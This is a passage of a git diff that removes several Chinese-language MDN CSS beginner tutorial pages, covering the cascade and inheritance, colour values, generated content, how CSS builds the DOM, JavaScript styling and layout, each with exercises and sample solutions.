4: Magna aliquam

- -

5: Autem veleum

-
- -
-
挑战
- -

给你的样式表添加一个规则,为下面的海洋列表增加 一个四面环绕且带有颜色的边框,来突出海洋——如下图所示:

- - - - - - - -
-

(A) The oceans

- -
-
    -
  • Arctic
  • -
  • Atlantic
  • -
  • Pacific
  • -
  • Indian
  • -
  • Southern
  • -
-
- -

(B) Numbered paragraphs

- -

. . .

-
- -

 

- -

(不必完全保证宽度和颜色和这里的一模一样。)

-
- -

看答案。

- -

下一节?

- -

{{ nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Layout", "布局") }}通过指定外边距和内边距,你已经能修改文档的布局了。下一页,你将使用别的方式来改变文档的布局 。

diff --git a/files/zh-cn/web/guide/css/getting_started/cascading_and_inheritance/index.html b/files/zh-cn/web/guide/css/getting_started/cascading_and_inheritance/index.html deleted file mode 100644 index e5a3bae8a0..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/cascading_and_inheritance/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: 层叠和继承 -slug: Web/Guide/CSS/Getting_started/Cascading_and_inheritance -translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance -translation_of_original: Web/Guide/CSS/Getting_started/Cascading_and_inheritance ---- -

{{ CSSTutorialTOC() }}

- -

{{ previousPage("/zh-CN/docs/CSS/开始/How_CSS_works", "CSS如何工作")}} 这是 开始学CSS 教程的第4节; 这一节介绍了样式表中元素如何从父级继承样式,以及不同层级的样式如何相互作用决定最终显示效果。教给你通过在样式表中添加级联样式语句,进一步控制页面元素的展现。

- -

资料: 层叠和继承

- -

一个元素的样式,可以通过多种方式来定义,而多种定义方式之间通过复杂的影响关系决定了元素的最终样式。这种复杂既造就了CSS的强大,也导致CSS显得如此“混乱”而且难以调试。

- -

对于层叠来说,共有三种主要的样式来源:

- -
    -
  • 浏览器对HTML定义的默认样式。
  • -
  • 用户定义的样式。
  • -
  • 开发者定义的样式,可以有三种形式: -
      -
    • 定义在外部文件(外链样式):本教程中案例主要是通过这种形式定义样式。
    • -
    • 在页面的头部定义(内联样式):通过这种形式定义的样式只在本页面内生效。
    • -
    • 定义在特定的元素身上(行内样式):这种形式多用于测试,可维护性较差。
    • -
    -
  • -
- -

用户定义的样式表会覆盖浏览器定义的默认样式,然后网页开发者定义的样式又会覆盖用户样式。在这个教程中,你作为网页的开发者只需要关注开发者样式。

- -
-
示例
- -

就你现在看到的这个页面而言,有一部分样式是来自浏览器定义的默认的HTML样式。

- -

有一部分样式可能来自用户通过浏览器自定义的样式,或者为浏览器引入自定义的样式表。例如,在Firefox中,在“首选项”对话框中可以自定义样式,也可以建立一个单独的userContent.css 样式文件并放到“用户配置”的文件夹中。

- -

另外,还有一部分样式来自外链的wiki服务器上的样式表。

-
- -

在浏览器中打开前面写的例子页面,你会发现 {{ HTMLElement("strong") }} 元素中的文字会比其他文字粗一些。这些样式就是在浏览器定义的默认HTML样式。

- -

而{{ HTMLElement("strong") }} 元素是红色的,这是你在自己的样式表中定义的样式。

- -

同时,{{ HTMLElement("strong") }} 作为 {{ HTMLElement("p") }} 的子元素,也继承了 {{ HTMLElement("p") }} 的样式。同样的, {{ HTMLElement("p") }} 也从 {{ HTMLElement("body") }} 中继承了许多的样式。

- -

再来看看优先级,从高到低依次为:网页开发者定义的样式、网页阅读者定义的样式、浏览器的默认样式。

- -

对继承的元素来说,子元素自身的样式优先级高于从父级继承来的样式。

- -

当然,关于优先级还有更多的知识点,我们会在后面的章节中继续介绍。

- -
-
更多细节
- -

CSS 另外提供了一个!important关键字,用户可以通过使用这个关键字使自己定义的样式覆盖掉开发者定义的样式。

- -

这就意味着,作为开发者,你很难准确的预知页面最终在用户电脑上的显示效果。

- -

如果你想了解关于层级和继承的全部细节,请阅读CSS文档中的相关章节(英文):Assigning property values, Cascading, and Inheritance

-
- -

动手: 使用继承

- -
    -
  1. 编辑你之前创建的style.css文件。
  2. -
  3. 把下面这行代码粘到以前的文件中,粘在之前的代码的上面或下面都可以。 不过,加在css文件的头部会更符合逻辑一些,因为在页面中 {{ HTMLElement("p") }} 是 {{ HTMLElement("strong") }} 的父级元素: -
    p {color: blue; text-decoration: underline;}
    -
    -
  4. -
  5. 现在刷新你的浏览器,应该可以看到页面的变化。页面里所有的文本应该都被加上了下划线,也包括大写的首字母。{{ HTMLElement("strong") }} 从它的父级元素 {{ HTMLElement("p") }} 上继承到了下划线的样式。
    - -

    但是,{{ HTMLElement("strong") }} 元素仍然是红色的。红色是它本身的样式,所以优先级会超过父级元素 {{ HTMLElement("p") }} 的蓝色.

    -
  6. -
- - -
- - - - - - - - -
修改前
Cascading Style Sheets
- - - - - - - - -
修改后
Cascading Style Sheets
- -
-
挑战
-改动一下样式表,完整如下效果:只在红色的字母上加下划线: - - - - - - - -
Cascading Style Sheets
- -
-
参考答案
- -

把定义在 {{ HTMLElement("p") }} 标签上的下划线样式移到 {{ HTMLElement("strong") }} 标签上。改后代码如下:

- -
p {color: blue; }
-strong {color: red; text-decoration: underline;}
-
- -

 

-隐藏答案
-查看参考答案
- -

下一节?

- -

{{ nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Selectors", "选择器")}} 到目前为止,你在样式表中所有的样式都是为标签上的,<p> 和 <strong>,你可以尝试着改变一下页面中它们的样式。下一节会介绍怎样通过更有效的方式定义样式。

diff --git a/files/zh-cn/web/guide/css/getting_started/color/index.html b/files/zh-cn/web/guide/css/getting_started/color/index.html deleted file mode 100644 index a9348bd9bd..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/color/index.html +++ /dev/null @@ -1,333 +0,0 @@ ---- -title: Color -slug: Web/Guide/CSS/Getting_started/Color -translation_of: Learn/CSS/Introduction_to_CSS/Values_and_units#Colors -translation_of_original: Web/Guide/CSS/Getting_started/Color ---- -

{{ CSSTutorialTOC() }}

- -

{{previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Text_styles", "文本样式")}}这是 CSS入门教程 系列的第8部分; 介绍了如何在你的CSS文件中运用颜色值. 在示例样式表中,介绍了背景颜色.

- -

关于: 颜色

- -

到目前为止,在这个系列中,都很少用到用名字命名的颜色属性。CSS2支持17种名字的颜色。其中有一些可能不像你期望的那样,如下图:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
blackgraysilverwhite
主要的redlimeblue
次要  yellowaquafuchsia
maroonorangeolivepurplegreennavyteal
- - - -
-
细节
- -
你的浏览器可能支持更多名字命名的颜色,比如:
- -
- - - - - - - - - - - - - - - - -
dodgerbluepeachpufftanfirebrickaquamarine
- -

对于更多存在的名字的颜色命名你可以参看CSS 3颜色模块中的: SVG color keywords 部分. 一定要注意的是,使用名字命名颜色的时候,有可能用户的浏览器是不支持的。

-
- -

对于更多地颜色,你可以使用代表红,绿,蓝三个颜色的16进制数字来表示。16进制数字的范围0-9,a-f。其中a-f代表的数值就是10-15:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#000
纯 红#f00
纯 绿#0f0
纯 蓝#00f
#fff
- -


- 要得到浏览器能够呈现的所有的颜色,你就得使用两个16进制来表示(也就是6位):

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#000000
纯红#ff0000
纯绿#00ff00
纯蓝#0000ff
#ffffff
- -

你能够从你的画图程序或者其他的工具上得到6位的颜色数值.

- -
-
例如
- -

可以通过调整3位数字来得到不同的颜色:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
从纯红开始:#f00
让它淡一点,加一些绿色和蓝色:#f77
让它更偏橙色一些,多加一些绿色:#fa7
让它更深一些,所有的颜色部分,红,绿,蓝都要减少:#c74
让它的饱和度更低一些,所有的颜色值都调整到差不多大小:#c98
如果所有的颜色值都相等,那么就变成了灰色:#ccc
- -

对于浅色,比如说淡蓝色:

- - - - - - - - - - - - - - -
从纯白色开始:#fff
稍微降低一下各个颜色值:#eef
-
- -
-
更多细节
- -

还能够通过RGB值(0-255或者是百分比值),来得到颜色

- -

比如,下面是深红色的RGB表示法:

- -
rgb(128, 0, 0) 
- -

对于如何指定颜色的所有信息,可以参看 CSS规范中的: Colors 部分.

- -

更多关于系统颜色的说明,比如菜单、等,可以参看CSS规范中得: CSS2 System Colors 部分.

-
- -

颜色属性

- -

你已经在文本中使用了 {{ cssxref("color") }} 属性.

- -

同样可以使用{{ cssxref("background-color") }} 属性来改变元素的背景色.

- -

背景色可以设置 transparent 属性来移除掉所有的颜色,呈现出父元素的背景色

- -
-
例如
- -

在本指南中,例如 文本框使用了淡黄色来表示背景色:

- -
background-color: #fffff4;
-
- -

更多细节 文本框使用了下面的淡灰色 :

- -
background-color: #f4f4f4;
-
-
- - - -

实践: 使用颜色代码

- -
    -
  1. 编辑你的CSS文件.
  2. -
  3. 下面用粗体显示的部分,表示首字母用淡蓝色显示. (你的文件中的布局和注释可能与下面所示的不同。按照你喜欢的方式来组织它们吧!) -
    /*** CSS 手册: 颜色页面 ***/
    -
    -/* 页面 字体 */
    -body {font: 16px "Comic Sans MS", cursive;}
    -
    -/* 段落 */
    -p {color: blue;}
    -#first {font-style: italic;}
    -
    -/* 首字母 */
    -strong {
    -  color: red;
    -  background-color: #ddf;
    -  font: 200% serif;
    -  }
    -
    -.carrot {color: red;}
    -.spinach {color: green;} 
    -
  4. -
  5. 保存文件,刷新浏览器看结果.
  6. -
- - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
- -
-
挑战
- -

在你的CSS文件中,把所有的代码颜色的名字用3位16进制数字的方式表示出来.

- -

(不能完全做出来,不过能够最的很接近。如果要准备的表示颜色名字的话,需要6位16进制你需要查一下CSS规范或者是工具来得到一致的颜色.)

- -
-
Possible solution
- -

The following values are reasonable approximations of the named colors:

- -
strong {
-  color: #f00; /* red */
-  background-color: #ddf; /* pale blue */
-  font: 200% serif;
-}
-
-.carrot {
-  color: #fa0; /* orange */
-}
-
-.spinach {
-  color: #080; /* dark green */
-}
-
-p {
-  color: #00f; /* blue */
-}
-
- - -Hide solution
-查看解决的方法.
- -

下一步?

- -

{{nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Content", "内容")}}. 示例文本和示例样式表是严格分开的。在 下一节 将介绍在什么情况下可以允许他们不分开.

diff --git a/files/zh-cn/web/guide/css/getting_started/content/index.html b/files/zh-cn/web/guide/css/getting_started/content/index.html deleted file mode 100644 index f3f9a0797b..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/content/index.html +++ /dev/null @@ -1,160 +0,0 @@ ---- -title: Content -slug: Web/Guide/CSS/Getting_started/Content -translation_of: Learn/CSS/Howto/Generated_content ---- -

{{ CSSTutorialTOC() }}

- -

{{ previousPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Color", "颜色") }}这是 CSS 入门教程的第9部分,介绍了一些通过CSS改变文档内容的方法。这样,仅修改样式表你就能把文本内容及图片添加到文档。

- -

信息: 内容

- -

CSS的一个重要优势是它可以帮助你将文档内容和其样式分离。但是有时候在样式而非文档中定义一些内容也是很有用的。

- -

在样式中可以定义文本内容和图片内容。当内容与文档结构紧密相关的时候,你可以在样式表中指定内容。

- -
-
更多细节
- -

在样式表中指定内容会使事情变得复杂:你可能有多个语言版本的文档共享同一个样式表。如果样式表的一部分需要翻译,这就意味着你需要将这部分单独保存在多个样式表中,并在不同语言的文档中引用。

- -

如果你指定的内容由通用符号和图片组成的话,就不存在这个问题。

- -

样式表中指定的内容不会成为DOM的一部分。

-
- -

文本内容

- -

CSS可以在元素的前后插入文本:在选择器的后面加上{{ cssxref("::before") }} 或者 {{ cssxref("::after") }} 。在声明中,指定 {{ cssxref("content") }} 属性,并设置文本内容。

- -
-
- -

下面这条规则在所有类名包含 ref的元素前面加上 Reference:

- -
.ref::before {
-  font-weight: bold;
-  color: navy;
-  content: "Reference: ";
-}
-
-
- -
-
更多细节
- -

样式表默认使用UTF-8字符集。也可以通过link属性或样式表以及其他方式指定。 参见 CSS规范中 4.4 CSS style sheet representation

- -

还可以通过转义机制(通过反斜杠转义)指定单个字符。比如, \265B 是国际象棋黑皇后的符号 ♛。更多参见 Referring to characters not represented in a character encoding 和CSS规范中的 Characters and case

-
- -

图片内容

- -

可以通过将{{ cssxref("content") }} 属性值设置为某个图片的URL,可以将图片插到元素的前面或后面。

- -
-
- -

下面这条规则在所有类名包含glossary的a标签后面插入一个空格和一个图标:

- -
a.glossary::after {content: " " url("../images/glossary-icon.gif");}
-
-
- -

将图片设置成元素的背景图:将 {{ cssxref("background") }} 的值设为图片的URL。这是同时设置背景颜色,背景图,图片如何重复等的快捷写法。

- -
-
- -

这条规则通过指定图片URL设置特定元素的背景。

- -

这是一个ID选择器;no-repeat表示背景图只出现一次,不重复:

- -
#sidebar-box {background: url("../images/sidebar-ground.png") no-repeat;}
-
-
- -
-
更多细节
- -

了解更多影响背景图的属性,以及其他背景图选项,参见 {{ cssxref("background") }} 。

-
- -

实践: 添加背景图片

- -

这幅图是一个白方块,底部有一条蓝色实线:

- - - - - - - -
Image:Blue-rule.png
- -
    -
  1. 下载上图放到CSS同目录下
  2. -
  3. 编辑CSS文件,为body设置背景图. -
    background: url("Blue-rule.png");
    -
    - -

    背景图默认是 repeat(重复)的,无需明确指出。图片在水平和垂直方向重复,最终呈现出横格纸的效果:

    - -
    -

    Image:Blue-rule-ground.png

    - -
    -
    -

    Cascading Style Sheets

    -
    - -
    -

    Cascading Style Sheets

    -
    -
    -
    -
  4. -
- -
-
挑战
- -

下载图片:

- - - - - - - -
Image:Yellow-pin.png
- -

在样式表中增加一条规则,使得每行前面显示上面的图标

- -
-

Image:Blue-rule-ground.png

- -
-
image:Yellow-pin.png Cascading Style Sheets
- -
image:Yellow-pin.png Cascading Style Sheets
-
-
- -
-
Possible solution
- -

Add this rule to your stylesheet:

- -
p:before{
-  content: url("yellow-pin.png");
-}
-
- -

 

-Hide solution
-答案.
- -

接下来?

- -

{{ nextPage("/zh-CN/docs/Web/Guide/CSS/Getting_Started/Lists", "列表") }}列表是一种常见的为列表元素添加内容的方式。下节将介绍如何 为列表元素指定样式

diff --git a/files/zh-cn/web/guide/css/getting_started/how_css_works/index.html b/files/zh-cn/web/guide/css/getting_started/how_css_works/index.html deleted file mode 100644 index fce3091715..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/how_css_works/index.html +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: CSS如何工作 -slug: Web/Guide/CSS/Getting_started/How_CSS_works -translation_of: Learn/CSS/First_steps/How_CSS_works -translation_of_original: Web/Guide/CSS/Getting_started/How_CSS_works ---- -

{{ CSSTutorialTOC() }}

- -

{{ previousPage("/zh-CN/docs/CSS/开始/为何使用CSS", "为何使用CSS?") }}这是 CSS Getting Started 教程的第三章; 这章解释了CSS在浏览器中是如何工作的。 你可以通过分析示例代码来看看样式表中的详细信息。

- -

信息:CSS 如何工作

- -

浏览器在展现一个文档的时候,必须要把文档内容和相应的样式信息结合起来展示。 这个处理过程一般分两个阶段:

- -
    -
  1. 浏览器先将标记语言和CSS转换成DOM (文档对象模型)结构。 这时DOM 就代表了电脑内存中的相应文档,因为它已经融合了文档内容和相应的样式表。
  2. -
  3. 最后浏览器把 DOM的内容展示出来。
  4. -
- -

标记语言通过使用“元素”来定义文档结构。你需要使用一些以'<'开头和以'>'结尾的字符串,俗称tags,来构成元素。这些元素一般是在'< >'里加上元素名来作为起始tag,在'< >'里加上'/'和元素名的组合来构成结束tag。标记语言中规定,一些元素可以只有一个起始tag,或者构成元素的tag只有一个,但是这个tag里的名称后面必须要加个'/'。

- -

元素也可以作为容器而存在,这样可以把其他元素放到这个元素的起始tag和结束tag之间。

- -

DOM是一种树形结构。 每个元素和非空文本都可以看做是树形结构上的一个结点。DOM结点不再是容器,但是,它可以作为子结点的父类结点而存在。

- -
-
示例
-在示例代码中, 我们使用 <p> 标签和它的结束标签 </p> 构造了一个容器: - -
<p>
-  <strong>C</strong>ascading
-  <strong>S</strong>tyle
-  <strong>S</strong>heets
-</p>
-
- -

实例

- -

http://jsfiddle.net/djaniketster/6jbpS/

- -

在这个 DOM中, P 结点是一个父结点,它的子结点包含了一些STRONG结点和文本结点。同时,STRONG结点各自也是父结点,它们也分别包含了一些文本结点作为子结点。

- -
P
-├─STRONG
-│ └─"C"
-├─"ascading"
-├─STRONG
-│ └─"S"
-├─"tyle"
-├─STRONG
-│ └─"S"
-└─"heets"
-
- -

理解 DOM 结构可以帮助你更好的去设计、调试、维护CSS,因为 DOM 结构就是你的CSS和文档内容融合而成的。

- -

行动:分析DOM结构

- -

使用 DOM Inspector

- -

你需要使用特殊的软件来分析 DOM结构。在这里,假设你使用的是 Mozilla的 DOM Inspector (DOMi) 插件来分析一个 DOM结构。 下面的操作需要你提前安装插件才可以执行。

- -
    -
  1. 使用 Mozilla 浏览器来打开示例文档。
  2. -
  3. 在浏览器菜单栏中,选择 工具 > 查看器,也可能是选择 工具> Web 开发者 > 查看器。 -
    -
    更多细节
    - -

    如果你的 Mozilla 浏览器没有安装 DOMi,你可以到 安装地址 来安装并重启浏览器,然后再回到这里继续学习。

    - -

    如果你不想安装 DOMi (或者你使用的是非Mozilla浏览器),那么你可以试试下个章节中介绍的 Web X-Ray Goggles。 你也可以直接跳过本章节,进行下一章的学习,这并不会影响你接下来的学习内容。

    -
    -
  4. -
  5. 你可以在 DOMi中通过点击文档结点前面的箭头来将他们展开。 -

    注意:  HTML 文件中的空格在 DOMi 中会显示为一些空的文本结点,你可以直接忽略掉它。

    - -

    通过展开元素结点,你可能会看到下面这样的一部分内容:

    - -
    │ ▼╴P
    -│ │ │ ▼╴STRONG
    -│ │ └#text
    -│ ├╴#text
    -│ ►╴STRONG
    -│ │
    - -

    选择任何元素都可以在 DOMi 右边的面板中找到关于这个元素更详细的信息。例如,当你选择一个文本结点的时候,右边面板中会显示这个结点的文本信息。

    - -

    如果你选择的结点是一个元素,那么 DOMi 会分析这个元素,并在右边面板中展示关于它的一大堆信息内容。同时,样式信息只是这些内容的一部分罢了。 

    -
  6. -
- -
-
挑战
- -

在 DOMi 中,点击一个 STRONG 结点。

- -

在 DOMi的右边面板中找出,设置此结点颜色为红色的地方和设置结点内容加粗的地方。 

- -
-
Possible solution
- -

In the menu above the right-hand pane, choose CSS Rules. You see two items listed, one that references an internal resource and one that references your stylesheet file. The internal resource defines the font-weight property as bolder; your stylesheet defines the color property as red.

-Hide solution
-查看挑战的解决方案
- -

使用 Web X-Ray Goggles

- -

Web X-Ray Goggles 显示的信息内容相比较 DOM Inspector要少, 但是它安装和使用的步骤更简单。

- -

到 Web X-Ray Goggles的主页。

- -
    -
  1. 将页面中的书签链接拖拽到浏览器工具栏。
  2. -
  3. 打开你的示例 HTML 文档。
  4. -
  5. 通过点击工具栏中的相应书签来激活Web X-Ray Goggles。 
  6. -
  7. 通过在文档中移动鼠标箭头来查看相应的文档元素。
  8. -
- -

What next?

- -

{{ nextPage("/zh-CN/docs/CSS/开始/Cascading_and_inheritance", "层叠和继承") }}如果你做过上文中的练习,你会发现不同位置的style样式是相互影响共同生成了元素的最终展现。在 下一章 中将会深入解释这种相互联系和相互影响。

diff --git a/files/zh-cn/web/guide/css/getting_started/index.html b/files/zh-cn/web/guide/css/getting_started/index.html deleted file mode 100644 index 585243aa2a..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: CSS入门教程 -slug: Web/Guide/CSS/Getting_started -tags: - - CSS - - 'CSS:Getting_Started' - - CSS入门 - - CSS教程 - - Web - - 初学者 - - 教程 -translation_of: Learn/CSS/First_steps -translation_of_original: Web/Guide/CSS/Getting_started ---- -

 

- -

该  CSS 指南  将会带你进入  层叠样式表  (CSS)的世界。本指南将通过实例来引导你学习语言的基本功能(你可以在自己的电脑上运行这些实例),指南还将阐明能够运行在现代浏览器上的 CSS 标准功能。

- -

本指南适合 CSS 的初学者,但如果你已经学会了 CSS 的基本知识,该指南对你也会有所帮助。若你对 CSS 的经验十分丰富,那么本指南就不适合你了,CSS 主页  列出了  更多的高级资源。

- - - -

在开始学习之前你需要准备什么?

- -
    -
  • 一个文本编辑器
  • -
  • 一个现代浏览器
  • -
  • 编辑器与浏览器的基本使用方法
  • -
- -

虽然没有这个要求,但是教程中的练习可以帮助你学习。你也可以只阅读教程、图片,但这是一种效率很低的学习方式。

- -

注意: 教程包括了CSS操作颜色的方法。因此指南的某些部分会依赖颜色。要想更容易的学习这些内容,你需要一个彩色显示器与正常色觉

- -

如何使用本指南

- -

在使用本指南时,需要按顺序仔细阅读每页的内容。如果跳过某个页面,可能会难以理解后续内容。

- -

第一部分:CSS基础

- -

在每页中,通过资料 部分来了解 CSS 的工作原理。通过实践 部分来试着在你的计算机上使用 CSS。

- -

为了测试你对指南的理解程度,可以完成页面底部的挑战内容。挑战内容下面提供了答案的链接,这样你不想看答案的时候没有必要去看它们。

- -

为了深入了解 CSS,可以阅读以更多资料 为标题的方框中内容。你会从其中的超链接里找到更多 CSS 参考资料。

- -

第二部分:CSS的应用范围

- -

指南的第二部分提供了多个实例,用于展示 CSS 与 web 和 Mozilla 的其他技术的使用范围。

- -
    -
  1. JavaScript
  2. -
  3. SVG 图形
  4. -
  5. XML 数据
  6. -
  7. XBL bindings
  8. -
  9. XUL 用户界面
  10. -
- -

 

diff --git a/files/zh-cn/web/guide/css/getting_started/javascript/index.html b/files/zh-cn/web/guide/css/getting_started/javascript/index.html deleted file mode 100644 index 1f53ff70ba..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/javascript/index.html +++ /dev/null @@ -1,172 +0,0 @@ ---- -title: JavaScript 与 CSS -slug: Web/Guide/CSS/Getting_started/JavaScript -translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents -translation_of_original: Web/Guide/CSS/Getting_started/JavaScript ---- -

{{ CSSTutorialTOC() }}

- -

本文是 CSS tutorial 第二部分的第一章节。第二部分的内容主要是一些css和其他web技术的使用范例。 

- -

第二部分的内容主要来向你展示CSS是如何同其他技术进行交互的。但是这样做的目的并不是教你如何使用这些技术,如果你想深入学习,可以查找具体的文档。

- -

换句话说,这些页面是用来向你展示CSS的多种用途的。通过这些页面,你不需要掌握其他技术就可以获取到很多CSS的相关知识。

- -

上一章 (Part I): Media
- 下一章: SVG

- -

相关知识: JavaScript

- -

JavaScript是一种编程语言,它被广泛用来实现web站点和应用中的交互效果。

- -

JavaScript可以同样式进行交互,你可以通过编写程序来动态改变文档上元素的样式。 

- -

有三种方法可以实现这样的效果:

- -
    -
  • 控制样式表—可以添加、删除、修改样式表。
  • -
  • 控制样式规则—可以添加、删除、修改样式规则。
  • -
  • 控制DOM中的单个元素—可以不依赖样式表来修改元素样式。
  • -
- - - - - - - - -
更多细节
要了解 JavaScript的更多细节,可以到这个wiki JavaScript 。
- -

范例: 一个JavaScript的实例

- -

新建一个doc5.html的页面,把下面的代码复制粘贴进入,注意要保证保存了所有的代码:

- -
-
<!DOCTYPE html>
-<html>
-
-<head>
-<title>Mozilla CSS Getting Started - JavaScript demonstration</title>
-<link rel="stylesheet" type="text/css" href="style5.css" />
-<script type="text/javascript" src="script5.js"></script>
-</head>
-
-<body>
-<h1>JavaScript sample</h1>
-<div id="square"></div>
-<button>Click Me</button>
-
-</body>
-</html>
-
-
- -

新建一个CSS文件style5.css,复制粘贴下面的样式代码到文件中:

- -
-
  #square {
-
-      width: 20em;
-
-      height: 20em;
-
-      border: 2px inset gray;
-
-      margin-bottom: 1em;
-
-  }
-
-  button {
-
-      padding: .5em 2em;
-
-  }
-
- -

新建一个JavaScript文件script5.js,复制粘贴下面的代码到文件中:

- -
-
// JavaScript demonstration
-var changeBg = function (event) {
-    console.log("method called");
-    var me = event.target
-    ,   square = document.getElementById("square");
-    square.style.backgroundColor = "#ffaa44";
-    me.setAttribute("disabled", "disabled");
-    setTimeout(function () { clearDemo(me) }, 2000);
-}
-
-function clearDemo(button) {
-    var square = document.getElementById("square");
-    square.style.backgroundColor = "transparent";
-    button.removeAttribute("disabled");
-}
-
-window.onload = function() {
-    var button = document.querySelector("button");
-    button.addEventListener("click", changeBg);
-    console.log(button);
-}
-
- -

用浏览器打开HTML文件并点击按钮。

- -

这里有在线的示例:Here is the Live Example

- - - - - - - - -
- - - - - - -
-

JavaScript demonstration

-
-
- - - - - - -
-

JavaScript demonstration

-
-
- -
重要提示 : - -
    -
  • HTML文档中外链了CSS文件和JavaScript文件。
  • -
  • 脚本直接修改了DOM元素的样式,通过修改属性值来改变按钮的样式。
  • -
  • 在JavaScript中document.getElementById("square") 在功能上同 CSS 选择器 #square的功能是类似的。
  • -
  • 在 JavaScript代码中, backgroundColor 对应于CSS 属性background-color。因为JavaScript中不允许在命名中出现中划线,所以采用了驼峰式,的写法来做替代。
  • -
  • 浏览器针对button有内置的CSS规则  button{{ mediawiki.external('disabled=\"true\"') }} ,这会导致按钮在不可点击状态下的显示样式跟预期有出入。
  • -
-
- - - - - - - - -
挑战
修改脚本代码实现如下效果:当颜色改变的时候让方块跳至右侧20em的距离,然后再恢复到原来的位置。
- -

这里有一个解决方案示例:See a solution to this challenge.

- -

下一步做什么呢?

- -

如果你对本页内容有疑问,或者有其他想法,欢迎到 Discussion 页面进行讨论。

- -

在示例中,尽管只有button元素使用了脚本代码,但是HTML文档还是i需要外链一个脚本文件。Mozilla 对CSS做了扩展,让它可以为选择元素引用JavaScript代码 (也可以使内容或者其他样式表文件) 。下篇文章会对此有详细说明: XBL bindings

diff --git a/files/zh-cn/web/guide/css/getting_started/layout/index.html b/files/zh-cn/web/guide/css/getting_started/layout/index.html deleted file mode 100644 index ecd91f80e1..0000000000 --- a/files/zh-cn/web/guide/css/getting_started/layout/index.html +++ /dev/null @@ -1,368 +0,0 @@ ---- -title: 布局 -slug: Web/Guide/CSS/Getting_started/Layout -translation_of: Learn/CSS/CSS_layout -translation_of_original: Web/Guide/CSS/Getting_started/Layout ---- -

{{ CSSTutorialTOC() }}

- -

{{ previousPage("/zh-CN/docs/CSS/开始/Boxes", "盒模型")}}本文是 CSS入门教程 的第12部分; 主要讲述一些修改页面布局的方法。 你可以通过学习来修改自己示例的布局。

- -

说明: 布局

- -

你可以通过 CSS 来设置布局的炫酷效果。其中所涉及的部分高阶技术并不是本文范畴。

- -

当你设计一个简单布局时, 你的样式表与浏览器默认样式表之间的交互、以及与布局引擎的交互都是相当复杂的。 这也是一个高阶话题,并不在本文范畴。

- -

本文主要介绍一些简单的布局方法。(高阶技术请参阅外部链接 学习高级布局

- -

文档结构

- -

当你想控制文档布局时,就不得不改变它的结构。

- -

页面标记语言通常都会有公共标签来创建结构。例如, 在 HTML 中你可以使用 {{ HTMLElement("div") }} 元素来创建结构。

- -
-
示例
- -

在你的示例中, 编号段落并没有自己的容器。

- -

你的样式表无法为这些段落画出边框,因为没有选择器指向它们。

- -

为了解决这个问题, 你可以在段落之外添加一个{{ HTMLElement("div") }} 。这个标签是唯一的,可以指定一个id属性来标识:

- -
<h3>Numbered paragraphs</h3>
-<div id="numbered">
-  <p>Lorem ipsum</p>
-  <p>Dolor sit</p>
-  <p>Amet consectetuer</p>
-  <p>Magna aliquam</p>
-  <p>Autem veleum</p>
-</div>
-
- -

现在可以通过样式表在每个列表周围画出边框了:

- -
ul, #numbered {
-  border: 1em solid #69b;
-  padding-right:1em;
-}
-
- -

运行结果如下:

- - - - - - - -
-

(A) The oceans

- -
-
    -
  • Arctic
  • -
  • Atlantic
  • -
  • Pacific
  • -
  • Indian
  • -
  • Southern
  • -
-
- -

(B) Numbered paragraphs

- -
-

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
-
-
- -

大小单位

- -

到目前为止,你可以通过像素来指定大小。这在有些情况下是非常合适的,比如电脑屏幕显示。 但当用户改变字体大小之后,你的布局可能会发生错位。

- -

因此,最好通过百分比或 ems (em) 来指定大小。 em 通常是指当前字体大小(字母m的宽度)。当用户改变字体大小时,你的布局会自己修正。

- -
-
示例
- -

文本左边的border通过像素来指定大小。

- -

文本右边的border通过 ems来指定大小。

- -

在你的浏览器中,修改字体大小,会发现右边的border会自己修正大小而左边的不会。:

- - - - - - - -
-
RESIZE ME PLEASE
-
-
- -
-
更多详情
- -

对于其它设备,其它的长度单位可能更合适。

- -

在本指南中会有其它篇幅详细介绍这一点。

- -

更多详情参见CSS说明中 Values .

-
- -

文本布局

- -

有两个属性可以指定元素内容的对齐方式。你可以用它们来进行简单的布局:

- -
-
{{ cssxref("text-align") }}
-
内容对齐。 可以使用下面几个值: left, right, center, justify
-
{{ cssxref("text-indent") }}
-
指定内容缩进。
-
- -

这两个属性可以应用于任何文本类内容,不只是纯文本。 需要注意的是,它们会被元素的子元素继承, 所以需要在子元素中将它们关闭,以免出现意想不到的效果。

- -
-
示例
- -

标题居中:

- -
h3 {
-  border-top: 1px solid gray;
-  text-align: center;
-}
-
- -

输出结果:

- - - - - - - -
-

(A) The oceans

-
- -

在 HTML 文档中, 标题之后的内容并不属于标题。当你对齐一个标题时,其后的元素不会继承该样式。

-
- -

浮动

- -

 {{ cssxref("float") }} 属性强制元素靠左或靠右。 这是控制元素位置和大小的简单方法。

- -

本文剩下部分都是围绕浮动元素展开。你可以使用 {{ cssxref("clear") }} 属性来避免其它元素受到浮动效果的影响。

- -
-
示例
- -

在你的示例中,list是根据窗口拉伸。你可以通过使用浮动元素来使它们靠左。

- -

为了保证标题在正确的位置, 你必须为标题指定clear属性来避免标题靠左:

- -
ul, #numbered {float: left;}
-h3 {clear: left;}
-
-
- -

运行结果如下:

- - - - - - - -
-

(A) The oceans

- -
-
    -
  • Arctic
  • -
  • Atlantic
  • -
  • Pacific
  • -
  • Indian
  • -
  • Southern
